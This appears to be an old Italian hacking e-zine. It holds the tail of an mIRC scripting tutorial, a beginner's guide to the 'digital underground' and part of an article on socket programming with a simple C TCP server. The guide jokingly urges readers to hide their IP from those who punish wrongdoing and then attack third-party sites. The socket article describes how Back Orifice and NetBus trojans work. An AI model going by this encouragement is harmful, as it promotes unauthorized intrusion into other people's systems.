..Read a Memo:/ $+ %ms read $$?="Enter a memo number(s):"
..Delete a Memo:/ $+ %ms del $$?="Enter a memo number. To delete ad purge all
memos, type all:"
..Undelete a Memo:/ $+ %ms undel $$?="Enter a memo number:"
..Purge Deleted Memos:/ $+ %ms purge
..Forward Memos:/ $+ %ms forward $?="Enter a nick. To stop forwarding, type -.
To show forwarding nick, leave blank:"
..Get Help:/ $+ %ms help $?="Enter command, leave blank for general help:"
}
alias sping {
set %sping.time $ctime
raw -q TIME $server
}
raw 391:*:{
set %sping $calc($ctime - %sping.time)
titlebar $chr(91) $+ %fg SelfLag: $duration(%sping) ]
unset %sping*
halt
}
;on 1:connect: {
;timer1 0 10 /sping
;}
;on 1:disconnect: {
;timer1 off
}

Ricordo che il comando $+ serve a legare due parole per esempio:
/say Hel $+ lo th $+ ere $+ !
questa stringa verra visualizzata come:
Hello there!
Per quanto riguarda "raw" è un comando che serve a visualizare una delle
caratteristiche scritte di comando di mirc asseconda del numero assegnato a raw
il programma visualizzerà un certo tipo di stringa.

;on 1:connect: {
;timer1 0 10 /sping
;}
;on 1:disconnect: {
;timer1 off
Questa parte non viene letta perchè presenti i punti e virgole prima di ogni
stringa che indicano al programma di non interpretare quei comandi, in ogni
caso posso essere attivati semplicemente rimuovendo ";" dall' inizio di ogni
stringa.
Tutte le variabili in questo script come "%cs" sono variabili impostate
automaticamente da Mirc che non devono essere impostate da noi e vale anche per
i comandi come "$chr(91)".

A questo punto apriamo il mostro mirc.ini ed inseriamo il link come sempre nel
nostro [rfiles].

Per quanto Riguarda Undernet possiamo creare uno script simile al precedente.
Creiamo un file e chiamiamolo undernet.mrc ed inseriamo le seguenti stringhe al
suo interno:

menu menubar {
Undernet X/W
.W Bot
..&Login with W:/msg w@channels2.undernet.org login $$?="Che canale?"
$$?="Password:"
..-
..Add User:/msg W adduser # $$1 $$?="Access:" $$?="Passord:"
..Remove User:/msg W remuser # $$1
..Auto Op
...ON:/.msg w modinfo # autoop $$1 ON
...-
...OFF:/.msg w modinfo # autoop $$1 OFF
..Check Access:/msg W access # $$1
..Ban List:/msg W lbanlist # *
..Change Topic:/msg W Topic $$?="Channel:" $$?="Enter Topic:"
..-
..Suspend
...1 Hour Suspension:/msg w sospendi # $$1 1 h
...1 Day Suspension:/msg w sospendi # $$1 1 d
...1 Week Suspension:/msg w sospendi # $$1 7 d
...1 Month Suspension:/msg w sospendi # $$1 1 m
...-
...Suspend (Time?):/msg w sospendi # $$1 $$?="Enter Time" $$?="Enter S/M/D/M"
..Unsuspend:/msg w togli sospensione # $$1
.-
.X Bot
..&Login with X:/msg x@channels.undernet.org login $$?="che canale?"
$$?="Password:"
..-
..Add User:/msg X adduser # $$1 $$?="Access:" $$?="Password:"
..Remove User:/msg X remuser # $$1
..Auto Op
...ON:/.msg x modinfo # autoop $$1 ON
...-
...OFF:/.msg x modinfo # autoop $$1 OFF
..Check Access:/msg X access # $$1
..Ban List:/msg X lbanlist # *
..Change Topic:/msg X Topic # $$?="Enter Topic:"
..-
..Suspend
...1 Hour Suspension:/msg x sospendi # $$1 1 h
...1 Day Suspension:/msg x sospendi # $$1 1 d
...1 Week Suspension:/msg x sospendi # $$1 7 d
...1 Month Suspension:/msg x sospendi # $$1 1 m
...-
...Suspend (Time?):/msg x sospendi # $$1 $$?="Enter Time" $$?="Enter S/M/D/M"
..Unsuspend:/msg x Togli sospensione # $$1
}

Perchè il tutto funzioni correttamente dobbiamo in anzi tutto aprire il nostro
file script.ini ed implementarlo con le seguenti stringhe:
n49=#autoop off
n50=ON +1:JOIN:#:if ($me isop $chan) { /msg chanserv op $chan $nick | /.notice
$nick 4,1DARK ScRiPt 1,0 Auto-OP By $me }
n51=#autoop end

A questo punto come al solito non ci resta altro che linkare il file
undernet.mrc nel nostro mirc.ini come descritto in precedenza.

E finisce quì la quarta parte del nostro script :-)

==========================================================================================

Primi passi nell'Underground Digitale
-------------------------------------
by Lord Mibo XIII
-------------------------------------

Finalmente un articolo, che guidi proprio nei primi passi, le giovani leve che
vogliono intraprendere una esplorazione più approfondita della rete.
Questo articolo non vuole essere nulla di più, che una serie di informazioni
che un utente con un minimo di esperienza, ritiene scontate, ma forse utili a
chi intraprende le prime esplorazioni.
La rete è un mondo da esplorare, per farlo occorre determinazione e
perseveranza. Partirete a piedi, ma un giorno, se grandi saranno le vostre
capacità, lo girerete con il vostro jet privato.
Iniziate il vostro cammino, spinti dalla curiosità, dalla conoscenza, dal forte
desiderio di vedere oltre; se iniziate spinti da sete di potere, intossicati da
Matrix o con la collana NetForce sotto il braccio, siete sicuramente sulla via
sbagliata.
Nel vostro bagaglio deve essere presente una buona conoscenza del computer (lo
sapete rinominare un file? ;>), un cervello fino (questa però, è merce rara),
qualcosa su cui prendere appunti.
E' utile una buona conoscenza dell'inglese, se non l'avete (non preoccupatevi,
all'inizio se ne può fare a meno, soprattutto perché io sto scrivendo in
italiano).
Per quanto riguarda hardware e software basta poco, non serve un computer
ultimo modello, per collegarsi a internet serve molto meno di ciò che avete
(visto che probabilmente avete appena finito di giocare a Quake Arena); per il
software, tenetevi indietro, programmi nuovi vuol dire programmi meno testati,
e meno persone che vi possono aiutare, e di aiuto voi, ne avete certamente
bisogno. Ottimi sono gli aggiornamenti per correggere i bug dei vari programmi,
cercate questi nel sito ufficiale della casa produttrice.
Ora mettetevi in marcia col vostro stagionato computer (assomiglia a una toma
valdostana, o a un Barolo invecchiato, se preferite??? Ok, ci siamo) e vediamo
di reperire qualche informazione per il viaggio.
I posti da cui iniziare sono due: il WWW e Usenet, lasciate chat e simili per
tempi migliori.
La ricerca sul World Wide Web non è cosa facile, vengono in nostro aiuto i
motori di ricerca.
Impararli ad usare è indispensabile, non è luogo questo articolo per dilungarsi
nelle spiegazioni dell'arte della ricerca, ma vale la pena di spendere due
righe.
Innanzi a tutto i motori sono tanti, bisogna imparare ad usarli tutti. Sono
anche molto diversi tra loro, generano risultati diversi, si usano in modo
diverso, ma generalmente si possono usare gli operatori logici tra cui AND, che
serve per cercare una parola sia l'altra (es. Nina AND Moric), OR, che cerca
una parola o l'altra (es. Jazz OR Blues), NOT, cerca i siti riguardanti una
parola ma non l'altra (utile per sfoltire i risultati, es. Nina NOT Pinta) e I
doppi apici, utili per cercate l'espressione esatta (es. "W la solita che
finisce per no"). Ricordate che non c'è metodo migliore per imparare che
provare.
Fate la vostra ricerca con tutti i motori che conoscete (per ora che siete
all'inizio non distinguerò motori di ricerca, indici sistematici e metarisorse)
AstaLaVista non è la soluzione ai vostri problemi, per iniziare provate:
yahoo.com, altavista.com, alltheWeb.com, hotBot.com, excite.com, lycos.com,
fast.no, snap.com, northernlight.com, google.com , poi vedrete, ne scoprirete
altri. Molte volte hanno anche la versione italiana, e per questo aggiungo il
trovatore.it e arianna.it
Non pensate esaurito un argomento fino a quando non avrete fatto la ricerca con
tutti i motori che conoscete, quando l'avrete fatto, avrete visto solo una
piccola parte.
Solitamente I siti hanno una sezione link, che vale la pena di visitare, a
volte rimandano a siti non recensiti ma comunque interessanti. Ricordate di
firmare il GuestBook (se c'è), sembra poco, ma al webmaster solitamente fa
molto piacere.
Con che chiavi di ricerca cercare?
Iniziate con le più scontate, poi ne troverete altre che vi porteranno
esattamente dove voi volete. Inizialmente finirete tra un mare di porcate.
Provate a digitare, correlare, rimescolare le seguenti parole, e godetevi i
risultati: hacker, hack, hacking (scontato vero?), lamer, exploit, h/p/c/v (in
tutte le combinazioni), e poi chi più ne ha più ne metta.
Probabilmente finirete in un bel mucchio di porcate: nuker, flooder, port e ip
scanner, troiani (e troiai) vari. Tutte cose per ora inutili (in quanto non
sapete che farvene) che potete fare a meno di downloadare. Interessatevi invece
su *chi* ha realizzato i suddetti programmini, probabilmente avrà un sito, e
potrebbe essere interessante. Insomma:
-cerca con ogni motore
-linkati ovunque utile
-leggi tutto, fai incetta di ogni testo
-poi (sembra lo spot Siemens durante i GP) ricomincia daccapo

Se siete fortunati trovate (cose che *dovete* cercare) la FAQ dei NG
it.comp.sicurezza.* (varie, windows, linux ecc.), qualche bel testo che ti dice
come rattoppare il tuo sistema (che ti sei reso conto assomiglia più ad un
groviera che alla suddetta toma). E qui inizia tutto. Sappiate che non è
indispensabile essere paranoici in fatto di sicurezza del proprio sistema;
quella è roba da hacker, non fa per voi, almeno per ora ;). Basta che copriate
le principali falle, tanto la sicurezza assoluta in rete non esiste.
Windows, di suo è instabile ma abbastanza sicuro, a patto che non abbiate
troiani installati, o la porta 139 aperta. Eventualmente trovate programmi
specifici per risolvere questi problemi.
Con un minimo di difesa nessun lamer potrà mai violare il vostro sistema, un
hacker ci riuscirebbe, molto probabilmente (con tempo e astuzia), ma
solitamente gli hacker se ne fregano del vostro computerino, cosa sarà mai,
rispetto ai sistemi del CERN??? ;)
Quindi calmi. Basta un buon antivirus ben aggiornato, un firewall è superfluo,
anche perché (probabilmente) non lo sapete configurare, quindi è
controproducente.
Tempi duri? Arriverà il giorno di fare festa.
Ora iniziano gli studi. Una buona conoscenza di internet è basilare, potete
scaricare liberamente dal Web, una copia di Internet 2000 (a mio parere una
valida guida per iniziare) e la guida alla rete dell'Eletronic Frontier
Foundation (non chiedete in giro dove cercare tutta 'sta roba, vi ho spiegato
prima come usare i motori di ricerca). Questi testi potranno darvi una pallida
idea di cosa sia Internet, e capirete che non è solo WWW.
Gli studi non finiscono qui, bisogna iniziare a leggere le riviste del settore,
la migliore è NetRunner (o forse sono un po' di parte?), ma ne esistono altre
in italiano: NewBies, SystemDown, Butchered from Inside (BFI), WannaBee,
l'enciclopedia di Lord Shinva ecc.ecc.ecc. (anche se datata, non potete fare a
meno di leggerla) e, vi assicuro, ne troverete molte altre.
Le e-zine in lingua inglese sono ancor più numerose, ma elencarle non è scopo
di questo articolo.
In rete troverete anche molte guide, che ti spiegheranno come crackare,
hackerare, phreakare, programmare; in due parole, non capirai un ca**o. E'
normale, niente panico. Leggi tutto ciò che pensi sia utile (man mano che
leggerete testi vi accorgerete che alcuni sono stati scritti da essere inutili,
non ci credete? Rileggetevi questo articolo tra qualche mese!!!) poi rileggiti
ciò che avevi già letto. Probabilmente, ciò che prima non avevi capito ora ti è
un po' più chiaro, pian piano, non ci saranno più segreti per te.
IMHO nessuna guida potrà mai spiegarvi l'arte dell'hacking (e che gli hacker mi
concedano questo uso impropio del termine a scopo puramente diseducativo), ma
sono comunque un ottima lettura, soprattutto se l'accompagnate con birra gelata
e arachidi tostate e salate.
Dove scaricarle? Alcune sono ospitate su www.spippolatori.com (e non mi dite
che faccio publicità occulta), altre le trovate su www.bismark.it, solo per
dire un nome, ma i siti che ne ospitano sono veramente molti, con una buona
ricerca, non farete certo fatica a trovarle. (vi avevo avvisato sarebbero
serviti i motori di ricerca, no?).
Per la serie pappa pronta, sto lavorando ad un sito che le riunisca tutte in
pochi clic, sfortunatamente per ora non è ancora aperto (ma vi farò sapere, non
temete). Quindi tanta pazienza e buona lettura.
Molti manuali, e molte e-zine hanno ormai la polvere sulle propie pagine, non
preoccupatevi, nulla è inutile.
Quando avrete letto tutto, ma proprio tutto, probabilmente sarai nuovamente
nello stato confusionale più assoluto. Inutile dire chè è normale,
probabilmente nell'ultimo periodo avete dormito 5 ore in tutto, e svolto le
vostre funzioni vitali davanti a monitor e tastiera, in overdose di caffeina
e/o nicotina. Tra qualche tempo, lo stare davanti al computer sarà una nuova
funzione vitale, e non un oggetto innanzi al quale svolgerle.
Per smaltire la confusione, potete iniziare a utilizzare qualche altra risorsa
per reperire informazioni.
Innanzi a tutto le news, sono un buon luogo dove chiedere informazioni. Mi
raccomando di postare come la netiquette prevede (cosa prevede? Non
preoccupatevi c'è una FAQ per ogni cosa, anche per la netiquette!). Le news da
prendere in considerazione per iniziare (in italiano, intendo) sono
it.comp.siurezza.*, dove dovete chiedere della sicurezza, non dell'inisicurezza
;) in quanto non è una news per hacker, ma per utenti, "semplici", se così è
lecito dire.
alt.hacker.cough.cough.cough, potrebbe essere la news giusta dove rivolgere
qualche domanda sull'insicurezza, l'utenza media è molto taciturna, ma
potreste avere comunque delle risposte.
Qualche raccomandazione: aspettate a postare, leggete e guardate da che parte
tira il vento; non fate domande che hanno già avuto risposta nel NG o nella FAQ
(che avete letto, non è vero?); siate umili, non fate vedere che siete
ignoranti, ma solo che avete *molta* voglia di imparare; gli hacker (o presunti
tali, IMHO gli hacker son veramente pochi) hanno un innato bisogno di sentisi
dire quanto sono bravi e belli, quindi diteglielo, ma senza farvi notare. Con
qualche parola messa bene otterrete le informazioni che cercate.
Per il resto mi affido al vostro buonsenso.
Altra risorsa è la biblioteca. Ci sono diversi libri da leggere, "ah, si,
Spaghetti Hacker!" direte voi, beh, non ci siamo proprio. Malgrado potrei dirvi
di leggere Spaghetti Hacker, Giro di vite contro gli hacker, Hackers!,
ecc.ecc.ecc (titoli legati all'underground digitale, ce ne sono) non lo faccio,
e vi consiglio più caldamente dei bei manuali riguardanti Internet, Linux,
Unix, il protocollo TCP/IP, etcetera per approfondire (e capire) ciò che
avevate appreso sui testi sopracitati. Attenzione, ho detto biblioteca, e non
libreria, in quanto questi manuali sono spesso molto costosi (ve lo assicura
l'autore dell'articolo), un saggio uso della fotocopiatrice, vi risparmierà
molti soldi (occhio e croce non mi sembrate quelli che si fanno problmi a
violare il copyright fotocopiando un libro :D). Se non trovate i manuali nella
biblioteca comunale (cosa probabile) non mancheranno certo in quelle
universitarie di facoltà tecniche.
Digitando digitando, ci siamo lasciati addietro due argomenti importanti: il
sistema operativo e la programmazione.
Sicuramente nel vostro cammino molti vi avranno detto <<installati linux!!!>>,
sappiate che la maggior parte di coloro che ve l'hanno detto non sanno neanche
il perché.
Linux è un sistema operativo con cui dovrete prendere *mooooolta* confidenza,
ma con le dovute cautele. Se siete fortunati avete un secondo computer (un 486
per linux è già un lusso) su cui installarlo, bene, fatelo e studiatelo; non
mancano certo NG, FAQ, chan di IRC, e libri vari che possano certo darvi una
mano. Basta cercare. In alternativa potete chiedere una shell al vostro
provider (se è piccolo non fa mai storie) ma state attenti, dalla faccia che vi
ritovate traspaiono le vostre losche intenzioni. Se avete un amico che usa
linux, la shell ve la può dare lui, ma allora siete nati con la camicia, avete
una shell gratis, che non dovete gestire e in più un amico che vi potrà
certamente aiutare con linux.
Se proprio non potete fare altro installatelo su una partizione del vostro HDD.
Linux a prima vista (e anche a seconda) è complicato da usare, ma vi assicuro
che non mancheranno soddisfazioni. Cercate (se potete) di non avere contatti
con altri utenti (almeno all'inizio) quando usate linux in connessione, evitate
le chat insomma, in quanto, se non lo si conosce bene, può essere molto più
vulnerabile di Windows
Da bravi studiosi che siete non avrete certo lasciato in secondo piano gli
altri sistemi operativi vero? Non sottovalutate il DOS (no, non il Denial of
Service), una sua buona conoscenza può tornare molto utile, e un prompt vi
riduce l'impatto con linux; per completezza non dimenticate di dare uno sguardo
a casa Mac e chiaritevi i dubbi sulle differenze tra Windows 9x e Windows NT, e
ai restanti sistemi operativi, che avrete certo modo di conoscere.
Dimenticavo, non andate in giro a chiedere dove trovare linux, lo trovate
praticamente tutte le settimane in edicola su una qualche rivista, una
qualsiasi versione, per iniziare, andrà benissimo.

Il secondo, non certo per importanza, argomento è la programmazione può essere
tanto semplice quanto complicata, dipende da voi, ma le risorse non mancano,
NG, FAQ, e manuali (sempre dalla biblioteca, son dei mattoni da non meno di
200k l'uno) ce ne sono in quantità, per ogni linguaggio. Il linguaggio che vi
conviene imparare per primo è il C (le risate che sentite sono dovute al fatto
che è molto conosciuta la mia infima competenza in tale linguaggio),
successivamente datevi (questo passaggio sarà molto più facile che il partire
da zero) al Visual Basic, al C++, al Delphi e vedete di imparare a scrivere
script Bash, che torna sempre molto utile.
Non sdegnate, perché antichi, il TurboPascal, il Basic, e reperti preistorici
simili, tornano a volte utili, come il saper stendere qualche comando in un
file batch
Ma da dove partire con lo studio? E' una domanda a cui non so rispondere, non
mi ricordo da dove ho iniziato, vi posso consigliare di cercare in rete,
scaricavi, studiarvi, modificare e provare a riscrivere i codici sorgente dei
vari programmini, inizierete vedendo come un programma fa 2+2 e finirete per
dar filo da torcere alla Microsoft (che, a mio parere, ci vuol poco).
Integrate le vostre conoscenze con i manuali, la guida in linea, magari qualche
amico, o una domanda sulla news riquardante il linguaggio della gerarchia
it.comp.lang.* o un giretto su siti dedicati a tale argomento (es.
prograzione.it)
Vi assicuro che impararne altri dopo averne già imparato uno sarà molto più
facile. Nella programmazione il primo passo è il più difficile, l'ultimo non lo
so, non ci sono mai giunto. Per sapere certe cose dovrete trovare un coder
serio.

Per chiarire ogni dubbio è giunto il momento di prendere contatto con altre
persone, con cui potrete anche scambiare opinioni, da cui potrete imparare
nuove cose.
Provate qualche buona chat, su IRC c'è molta gente che saprà darvi le
informazioni che

  
volete, ma fate attenzione, il numero di persone che malgrado
non sappiano nulla e parlano è più elevato di quanto potete immaginare, dovete
trovare la gente giusta. Non prendete per oro colato tutto quello che la chat
vi propone, lasciate perdere ogni chan dove vedete scorrere le classiche frasi:
"sono un hacker", "adesso ti nukko", gente che parla con le KKKappa kome se
fosse utile. A voi i nuke non danno fastidio, siete riparati da ogni cosa (per
quanto possibile, vero? Altrimenti ritornate ai paragrafi precedenti) siete
liberi da troiani e da ogni turbamento, quindi non avreste problemi, ma ripeto,
non è la gente giusta.
Quando trovate un chan (esplorate *tutti* i server irc) dove scorrono linee di
comando incomprensibili, che sembrano essere script o codici, siete nel chan
giusto.
Aspettate a farvi notare, salutate educatamente, e se rivolgete domande,
assicuratevi che siano pertinenti, che la risposta non si trovi nelle 2000
guide che oramai sono in vostro possesso, inoltre prima di chiedere domandatevi
se sareste in grado di comprendere la risposta, altrimente lasciate stare, e
andate per gradi.
Non andate su tutte le furie se nessuno vi risponde, nessuno è tenuto a farlo,
nulla ti è dovuto. Naturalmente un po' di buone maniere facilitano le cose, ed
il social engineering è nella vita di tutti i giorni, fatevi sotto (e ricordate
che gli hacker sono bravi e belli).
E' venuto il momento di mettere a frutto gli insegnamenti.
Potete iniziare a provare vari programmini ad uso e consumo dei lamer (non c'è
nulla di male, se sapete come funzionano, perché e quando usarli, se non vi
sentite hacker nel farlo). Ma su chi provarli? Su voi stessi, naturalmente! Il
vostro IP, se non siete connessi, è (solitamente) 127.0.0.1, rivolgete sul
vostro sistema ogni tipo di attacco, oltre a testarne l'integrità è un modo
legale, poco rischioso, e molto utile, di provare.
Potete anche su un vosto amico, conscio delle conseguenze e di eventuali rischi
e che magari sappia risistemarsi da solo il sistema.
Provate gli exploit sul vostro linux, se funzionano, dovete migliorare un po'
le difese, ma intanto sapete esattamente come funziona. Detto questo è facile
capire come continuare, e penso che abbiate raggiunto una certa autonomia.
Prima di darvi alla pazza gioia dovete liberarvi del vostro peggior nemico,
l'IP. Questo numerino vi stà sempre addosso, e parla molto di voi a chi punisce
le malefatte, e questo è male.
I manuali su come raggiungere dei buoni livelli di anonimato non mancano,
diventate invisibili...
A questo punto penso di non aver più niente da dirvi.
Datevi alla pazza gioia(beh, lasciate stare il maiframe del pentagono, un sito
porno del guatemala è sicuramente meno rischioso), ma è giunto il momento di
essere un po' più paranoici. Fate attenzione, mi raccomando. Siete hacker? No,
e non lo sarete neanche quando vi ci chiameranno, solo ora siete consci del
fatto che essere hacker non vi interessa poi così tanto, ciò che conta è il
fatto che non avete più frontiere...
Questo articolo è solo un piccolo inizio.
Ricordatevi sempre che la risposta ad ogni vostra domanda è nella vostra mente
(che intende dire l'autore con questo??? Boh, forse non lo sa neanche lui,
forse...)
Se avete problemi, domande, se volete qualcosa che tratti argomenti un po' meno
basilari (passi in avanti nell'underground digitale?) o ancora più basilari (ma
lo sapete accendere il computer?) fatemelo sapere - anche all'editore, così mi
da spazio ;) - ogni lavoro richiede una motivazione, quindi datemela (questo
imperativo si riferisce al complemento oggetto "la motivazione" per coloro che
intendono muovere i primi passi nell'sottosuolo della rete, è invece riferito
al compl.ogg. "la potta" per tutte coloro che sono sesso femminile, hanno una
bella presenza ed un minimo di intelligenza).
I riferimenti a me, non son frutto del mio limitato egocentrismo, vogliono
esservi di conforto, in quanto: se un essere ad encefalogramma piatto come
l'autore, è riuscito a scrivere questo articolo, allora io posso diventare il
re della rete... fatevi forza!
La mia mail è lordmibo@inwind.it, detto questo non mi resta che augurarvi buona
fortuna.

Lord Mibo XIII

P.S.
Chiedo perdono a chiunque faccia parte dell'underground digitale per l'uso
incorretto che ho fatto di certi termini, è solo a scopo divulgativo...

Nota per l'autore:
Sono le 3 di notte, scusa gli eventuali errori.

==========================================================================================

__________________________________________________
|SOCKET : Ovvero paragone tra i vari linguaggi & C.|
| by |
| Michael Bakunin |
| <bakunin@meganmail.com> |
--------------------------------------------------

Un po' di teoria.... condita di qualche esempio!
Gia' perche' l'Hacking non e' solo pratica, ma anche (e forse soprattutto)
teoria.

L'articolo in cui oggi cerchero' di cimentarmi riguarda la spiegazione dei
socket, il confronto dell'uso di essi nei vari linguaggi, esempi e idee varie.
Ovviamente nei vari linguaggi intendo solo quelli che ritengo prevalentemente
atti allo scopo e questi sono il C, il Visual Basic e il TCL. Perche' prendo
questi in esempio? Diciamo che la ragione principale e' che questi linguaggi
hanno caratteristiche molto diverse fra loro, ma molto in comune con altri.
Quindi ritengo inutile mostrarvi anche la programmazione dei socket in PERL o
il altri linguaggi per SCRIPT, ma solo il TCL. Oppure ritengo inutile
spiegarmi anche il programmazione dei socket in C++ perche' il C gia' ne mostra
un esempio chiarificatore. Con cio' non intendo dire che non ci siano
differenze tra un linguaggio e l'altro (tra C e C++ come tra PERL e TCL), ma
ritendo esserci più somiglianze che differenze.

Ma direi subito di iniziare spiegando cosa sono i SOCKET!

--> Un socket e' un modo per far comunicare due programmi da remoto <--

Questo vuol dire che un socket e' un meccanismo (che puo' variare a seconda del
linguaggio) che permette di mettere in comumicazione 2 programmi distinti
attraverso un determinato protocollo (TCP/IP o UDP). Questi due programmi per
incontrasi hanno bisogno di un indirizzo comune. Questo e' l'IP del SERVER.

Rincominciamo questo punto cercando di essere più chiari! Quando si decide di
metterci in contatto con una persona, bisogna:

1 Sapere come comunicare con lei. Supponiamo di voler comunicare con il
telefono (...o con un determinato PROTOCOLLO Es: TCP/IP)

2 Sapere il suo numero di telefono (...o il suo IP)

3 Chiamarlo (...metterci in contatto con il SERVER)

************ SERVER: Nel nostro caso un telefono nella casa ************
************ di chi vogliamo chiamare, capace di attendere ************
************ chiamate.... (oppure uno dei due programmi che ************
************ aspetta una connessione) ************

4 Comunicare

5 Terminare la comunicazione

Per quanto riguarda la programmazione dei socket quindi si necessita di 2
programmi:

1 SERVER: che aspetti connessioni su una determinata porta e che, se
interpellato da un CLIENT, capace di interagire con lui.

2 CLIENT: il programma che si mettera' in contatto con il SERVER e che invii
dati e che riceva la loro elaborazione del server

Per spiegare semplicemente un esempio di CLIENT e SERVER che comunemente avete
sott'occhi, basta pensare al vostro Browser per internet.
Questo non fa altro che collegarsi alla porta 80 dell'indirizzo DNS che voi
mettete.

************ DNS: Non e' altro con un altro modo per scrivere ************
************ l'indirizzo IP. Al posto di scrivere 212.234.3.54 ************
************ scrivete un indirizzo alfanumerico tipo: ************
************ www.spippolatori.it ************
************ Sta di fatto che www.spippolatori e 212.234.3.54 ************
************ e' assolutamente uguale! EX CLARO? ************
************ PS: 212.234.3.54 non e' l'IP del sito degli SPP :)************

e mandare come dati:

GET /

a questo punto avrete il sorgente della pagina HTML del sito che vi interessa.
Sara' poi compito del Browser visualizzarla secondo le direttive dei comandi
HTML.

Quindi...

1 il SERVER (in questo caso non un vero e proprio programma ma un qualcosa di
più complesso) attende connessioni all'IP del vostro sito sulla porta 80.

2 il CLIENT (il vostro BROWSER) si collega alla porta 80 e invia come dati la
frase "GET /"

3 l'elaborazione del dato da parte del SERVER sara' la pagina HTML.

Se non ci credete aprite una sessione di TELNET con l'IP (numerico o
alfanumerico) di un sito e scrivete "GET /". Vedrete!!


Un altro esempio di CLIENT e' il vostro programma per IRC (Mirc per Windoz o
xchat per Linux sono i più famosi) e scoprirete che non fa altro che
connettersi alla porta 6667 del server (ad esempio irc.azzurra.it) e inviare
e ricevere dati.

Questo e' identico con telnet alla porta 6667 del solito server irc.azzurra.it
Una volta collegato in CLIENT irc (o voi con telnet) vi registra con i
comandi:

NICK vostro_nick
USER uzver b c:vostro_reale_nome

(PS: Questa e' una delle tante pratiche di inizializzazione di un utente)

Dopo di che con opportuni comandi si puo' comunicare. Ma questo non riguarda il
tema di oggi!

Un'ennesimo esempio di comunicazione attraverso l'uso di socket e affini sono
i trojan come BO o NETBUS.

Come funzionanto? Nulla di più semplice!

1 La vittima (consenziente o no :) ) installa un programma SERVER sulla sua
macchina il quale ascolta una determinata porta (Back Orifice 31337, NetBus
12345) in attesa di comunicazioni da parte di un CLIENT.
2 Il CLIENT (ovvero il programma in mano al "CATTIVO") si connette all'IP
della vittima e alla porta in cui sa che il SERVER ascolta.
3 Invia opportuni comandi e aspetta che il server gli invii l'elaborato
4 Il Server ricevuti i dati compie sulla macchina della vittima quello che i
comandi gli dicono di fare e poi manda il risultato delle operazioni al
CLIENT
5 Il CLIENT stacca la comunicazione
6 Il SERVER si rimette in ascolto aspettando la prossima comunicazione da
parte del CLIENT.

EX CLARO?


Direi che se non avete capito ancora il funzionamento di comunicazione SERVER
- CLIENT allora e' grave :)

Ora parliamo della vera e propria programmazione!

SCELTA DEL LINGUAGGIO

Prima di buttarci a capifitto su un editor di testi per scrivere righe e
righe di comandi, e' opportuno scegliere che tipo di linguaggio. Per fare
questo bisogna vagliare una serie di punti centrali.

1 Che caratteristiche ha la macchina in cui vogliamo installare il SERVER o il
CLIENT

E' infatti totalmente inutile programmare un SERVER in Visual Basic quando poi
devo usare quel SERVER su una macchina *nix o Linux!

Uguamente inutile programmare un SERVER in TCL quando poi lo vogliamo piazzare
su una macchina con Windozzolo! Esiste si' un programma capace di rendere
eseguibili gli SCRIPT in TCL su piattaforme diverse da LINUX e simili, ma
occupa 2,8MB! Sai che trojan!!

2 Utilizzo del rapporto SERVER - CLIENT

Questo vuol dire:
COSA VOGLIAMO FARGLI FARE A QUESTO SERVER o A QUESTO CLIENT?

Se vogliamo creare un Browser avremo certe esigenze, se vogliamo creare un
CLIENT IRC altre, un TROJAN altre ancora! Dipende tutto da cio' che vogliamo
fare!

3 Direi che non c'e' nessun terzo punto :)


METTIAMO A CONFRONTO LA PROGRAMMAZIONE DEI SOCKET NEI VARI LINGUAGGI:

IL C

Il C e' un linguaggio multipiattaforma (+ o -) se si regolano le varie
librerie. E' snello e occupa poco. Programmare i socket in C vuol dire niente
meno che creare un descrittore di file. Solo che, al posto di essere un FILE e'
un SOCKET :)
Non e' facilissimo (ma nemmeno difficilissimo) creare un prog in C capace di
comunicare ed e' sicuramente la scelta migliore se si necessita di stabilita'
e sicurezza (e' compilato). Di suo non e' grafico... poi e' tutto una questione
di librerie

Il VISUAL BASIC

Marcatamente per WINDOZ. E' semplice, compilato, stabile. Non necessita di
conoscenze approfondite sulla programmazione (anzi...). Il SOCKET (che per
lui diventa "winsock") e' un qualcosa di gia' configurato a cui basta dare 2 o 3
direttive per essere brillantemente funzionante. E' grafico.

Il TCL

E' uno SCRIPT, cio' comporta che se uno avesse voglia, e capisse di
programmazione... saprebbe capire cosa fa. E' leggero (sempre se escludiamo
il fatto che necessita per win di un programma aggiuntivo bello massiccio).
Il socket e' più o meno visto come il C, quindi come una variabile ben
definita. Non e' grafico, ma lo puo' diventare con estrema semplicita' grazie ad
un supporto grafico chiamato TK. Di solito girano abbinati con nome TCL/TK.


PREMESSA ALLA PARTE PRATICA: Nulla ci vieta di creare un server in C e un
client in Visual Basic! Anzi! Spesso e' più congeniale se abbiamo esigenze
particolari tipo 2 diversi sistemi operativi. Vedremo in seguito.


PRATICA (ovvero qualche esempio per confrontare meglio!):

RICORDO CHE QUEST'ARTICOLO NON È UN TUTORIAL SULLA PROGRAMMAZIONE QUINDI NON
MI SOFFERMO SUI VARI COMANDI.


Incominciamo con il server in C:

Un server molto semplice in C capace di ascoltare una determinata porta e
capace di ascoltare una determinata porta (nell'esempio la 12345). E'
programmato con librerie per LINUX, non so se le stessa valgono anche per
win... per win io uso librerie diverse che poi vi indico.

------INIZIO----------

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <stdio.h>
//Queste solo le librerie necessarie per un server per LINUX

int creazione(int porta) {
int sock,errore;
struct sockaddr_in temp;

// Creazione del SOCKET:
sock=socket(AF_INET,SOCK_STREAM,0);

//Specifico l'indirizzo:
temp.sin_family=AF_INET;
temp.sin_addr.s_addr=INADDR_ANY;
temp.sin_port=htons(porta);

//Imposto il SOCKET non bloccante:
errore=fcntl(sock,F_SETFL,O_NONBLOCK);

//Bind:
errore=bind(sock, (struct sockaddr*) &temp,sizeof(temp));

//Faccio accettare solo 3 chiamate:
errore=listen(sock,3);

return sock;
}

void chiusura(int sock) {

//La chiusura del socket... rapida ed indolore!
close(sock);
return;
}

int main() {
char buffer[512];
int descrittore,nuovo;
int exitCond=0;
int Quanti;

descrittore=creazione(12345);
printf("Attendo connessioni...");

//Questo ciclo continua fino a quando non avviene la connessione:
while (!exitCond) {
if ((nuovo=accept(descrittore,0,0)) !=-1) {

//Lettura dati ricevuti:
if ((Quanti=read(nuovo,buffer,sizeof(buffer)))<0) {
printf("Impossibile leggere il messaggio. \n");
chiusura(nuovo);
} else {
buffer[Quanti]=0;

//Elaborazione dei dati:
if (strcmp(buffer,"exit")==0)
exitCond=1;
else printf("%s\n",buffer);
}
//Chiusura temporanea:
chiusura(nuovo);
}
}

//Chiusura definitiva del socket
chiusura(descrittore);
printf("Terminato.\n");

return 0;
}

--------FINE----------

Una rapida spiegazione puo' essere questa:

